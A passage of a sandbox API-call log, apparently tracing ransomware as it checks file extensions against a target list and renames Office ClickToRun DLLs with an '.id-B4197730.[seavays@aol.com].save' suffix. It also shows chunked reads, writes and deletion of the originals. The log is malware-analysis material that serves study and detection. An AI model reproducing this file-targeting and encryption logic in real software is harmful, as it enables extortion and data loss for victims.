lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.795] WriteFile (in: hFile=0x34c, lpBuffer=0x39ea020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x39ea020*, lpNumberOfBytesWritten=0x2ecfc94*=0x116, lpOverlapped=0x0) returned 1 [0068.795] SetEndOfFile (hFile=0x34c) returned 1 [0068.795] CloseHandle (hObject=0x34c) returned 1 [0068.796] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.797] SetEndOfFile (hFile=0x38c) returned 1 [0068.797] CloseHandle (hObject=0x38c) returned 1 [0068.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0068.798] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 1 [0068.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.798] lstrlenW (lpString=".doc") returned 4 [0068.798] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.798] lstrlenW (lpString=".docx") returned 5 [0068.798] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.798] lstrlenW (lpString=".pdf") returned 4 [0068.798] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.798] lstrlenW (lpString=".xls") returned 4 [0068.798] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.798] lstrlenW (lpString=".xlsx") returned 5 [0068.798] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.798] lstrlenW (lpString=".ppt") returned 4 [0068.798] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.798] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.798] lstrlenW (lpString=".zip") returned 4 [0068.798] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString=".rar") returned 4 [0068.799] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString=".bz2") returned 4 [0068.799] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.799] lstrlenW (lpString=".7z") returned 3 [0068.799] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.799] lstrlenW (lpString=".dbf") returned 4 [0068.799] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.799] lstrlenW (lpString=".1cd") returned 4 [0068.799] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.799] lstrlenW (lpString=".jpg") returned 4 [0068.799] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.799] lstrlenW (lpString=".doc") returned 4 [0068.799] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString=".docx") returned 5 [0068.799] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0068.799] lstrlenW (lpString=".pdf") returned 4 [0068.799] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString=".xls") returned 4 [0068.799] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString=".xlsx") returned 5 [0068.799] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0068.799] lstrlenW (lpString=".ppt") returned 4 [0068.799] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.799] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.799] lstrlenW (lpString=".zip") returned 4 [0068.800] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.800] lstrlenW (lpString=".rar") returned 4 [0068.800] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.800] lstrlenW (lpString=".bz2") returned 4 [0068.800] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.800] lstrlenW (lpString=".7z") returned 3 [0068.800] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.800] lstrlenW (lpString=".dbf") returned 4 [0068.800] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.800] lstrlenW (lpString=".1cd") returned 4 [0068.800] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.800] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91 [0068.800] lstrlenW (lpString=".jpg") returned 4 [0068.800] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.800] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.800] lstrlenW (lpString="AppvIsvStream64.dll") returned 19 [0068.800] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.801] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=473760) returned 1 [0068.801] CloseHandle (hObject=0x38c) returned 1 [0068.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0068.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.801] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.801] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.801] lstrlenW (lpString=".doc") returned 4 [0068.801] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.801] lstrlenW (lpString=".docx") returned 5 [0068.801] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0068.812] lstrlenW (lpString=".pdf") returned 4 [0068.812] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString=".xls") returned 4 [0068.812] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString=".xlsx") returned 5 [0068.812] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0068.812] lstrlenW (lpString=".ppt") returned 4 [0068.812] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.812] lstrlenW (lpString=".zip") returned 4 [0068.812] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString=".rar") returned 4 [0068.812] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString=".bz2") returned 4 [0068.812] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.812] lstrlenW (lpString=".7z") returned 3 [0068.812] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.812] lstrlenW (lpString=".dbf") returned 4 [0068.812] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.812] lstrlenW (lpString=".1cd") returned 4 [0068.812] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.812] lstrlenW (lpString=".jpg") returned 4 [0068.812] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.812] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.812] lstrlenW (lpString=".doc") returned 4 [0068.812] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.812] lstrlenW (lpString=".docx") returned 5 [0068.813] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0068.813] lstrlenW (lpString=".pdf") returned 4 [0068.813] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.813] lstrlenW (lpString=".xls") returned 4 [0068.813] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.813] lstrlenW (lpString=".xlsx") returned 5 [0068.813] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0068.813] lstrlenW (lpString=".ppt") returned 4 [0068.813] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.813] lstrlenW (lpString=".zip") returned 4 [0068.813] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.813] lstrlenW (lpString=".rar") returned 4 [0068.813] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.813] lstrlenW (lpString=".bz2") returned 4 [0068.813] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.813] lstrlenW (lpString=".7z") returned 3 [0068.813] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.813] lstrlenW (lpString=".dbf") returned 4 [0068.813] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.813] lstrlenW (lpString=".1cd") returned 4 [0068.813] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.813] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77 [0068.813] lstrlenW (lpString=".jpg") returned 4 [0068.813] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.813] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.814] lstrlenW (lpString="AppVIsvStreamingManager.dll") returned 27 [0068.814] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.814] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=210648) returned 1 [0068.814] CloseHandle (hObject=0x38c) returned 1 [0068.814] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0068.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.815] lstrlenW (lpString=".doc") returned 4 [0068.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.815] lstrlenW (lpString=".docx") returned 5 [0068.815] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0068.815] lstrlenW (lpString=".pdf") returned 4 [0068.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.815] lstrlenW (lpString=".xls") returned 4 [0068.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.815] lstrlenW (lpString=".xlsx") returned 5 [0068.815] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0068.815] lstrlenW (lpString=".ppt") returned 4 [0068.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.815] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.815] lstrlenW (lpString=".zip") returned 4 [0068.815] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.815] lstrlenW (lpString=".rar") returned 4 [0068.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString=".bz2") returned 4 [0068.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.816] lstrlenW (lpString=".7z") returned 3 [0068.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.816] lstrlenW (lpString=".dbf") returned 4 [0068.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.816] lstrlenW (lpString=".1cd") returned 4 [0068.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.816] lstrlenW (lpString=".jpg") returned 4 [0068.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.816] lstrlenW (lpString=".doc") returned 4 [0068.816] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString=".docx") returned 5 [0068.816] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0068.816] lstrlenW (lpString=".pdf") returned 4 [0068.816] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString=".xls") returned 4 [0068.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString=".xlsx") returned 5 [0068.816] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0068.816] lstrlenW (lpString=".ppt") returned 4 [0068.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.816] lstrlenW (lpString=".zip") returned 4 [0068.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString=".rar") returned 4 [0068.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.816] lstrlenW (lpString=".bz2") returned 4 [0068.817] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.817] lstrlenW (lpString=".7z") returned 3 [0068.817] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.817] lstrlenW (lpString=".dbf") returned 4 [0068.817] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.817] lstrlenW (lpString=".1cd") returned 4 [0068.817] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned 85 [0068.817] lstrlenW (lpString=".jpg") returned 4 [0068.817] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.817] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.817] lstrlenW (lpString="AppVIsvSubsystemController.dll") returned 30 [0068.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.817] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1402584) returned 1 [0068.817] CloseHandle (hObject=0x38c) returned 1 [0068.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0068.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.818] lstrlenW (lpString=".doc") returned 4 [0068.818] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.818] lstrlenW (lpString=".docx") returned 5 [0068.818] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0068.818] lstrlenW (lpString=".pdf") returned 4 [0068.818] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.818] lstrlenW (lpString=".xls") returned 4 [0068.818] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.818] lstrlenW (lpString=".xlsx") returned 5 [0068.818] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0068.818] lstrlenW (lpString=".ppt") returned 4 [0068.818] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.818] lstrlenW (lpString=".zip") returned 4 [0068.818] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.818] lstrlenW (lpString=".rar") returned 4 [0068.818] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.818] lstrlenW (lpString=".bz2") returned 4 [0068.818] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.818] lstrlenW (lpString=".7z") returned 3 [0068.818] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.818] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.818] lstrlenW (lpString=".dbf") returned 4 [0068.819] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.819] lstrlenW (lpString=".1cd") returned 4 [0068.819] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.819] lstrlenW (lpString=".jpg") returned 4 [0068.819] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.819] lstrlenW (lpString=".doc") returned 4 [0068.819] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString=".docx") returned 5 [0068.819] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0068.819] lstrlenW (lpString=".pdf") returned 4 [0068.819] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString=".xls") returned 4 [0068.819] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString=".xlsx") returned 5 [0068.819] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0068.819] lstrlenW (lpString=".ppt") returned 4 [0068.819] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.819] lstrlenW (lpString=".zip") returned 4 [0068.819] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString=".rar") returned 4 [0068.819] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0068.819] lstrlenW (lpString=".bz2") returned 4 [0068.819] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0068.819] lstrlenW (lpString=".7z") returned 3 [0068.819] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0068.819] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.819] lstrlenW (lpString=".dbf") returned 4 [0068.819] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0068.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.820] lstrlenW (lpString=".1cd") returned 4 [0068.820] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0068.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned 88 [0068.820] lstrlenW (lpString=".jpg") returned 4 [0068.820] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0068.820] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0068.820] lstrlenW (lpString="AppvIsvSubsystems32.dll") returned 23 [0068.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.820] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=1761448) returned 1 [0068.820] CloseHandle (hObject=0x38c) returned 1 [0068.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0068.821] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0068.821] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0068.821] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0068.821] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc64 | out: lpNewFilePointer=0x0) returned 1 [0068.822] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc24 | out: lpNewFilePointer=0x0) returned 1 [0068.822] ReadFile (in: hFile=0x38c, lpBuffer=0x39ea058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc30, lpOverlapped=0x0 | out: lpBuffer=0x39ea058*, lpNumberOfBytesRead=0x2ecfc30*=0x40000, lpOverlapped=0x0) returned 1 [0068.826] SetFilePointerEx 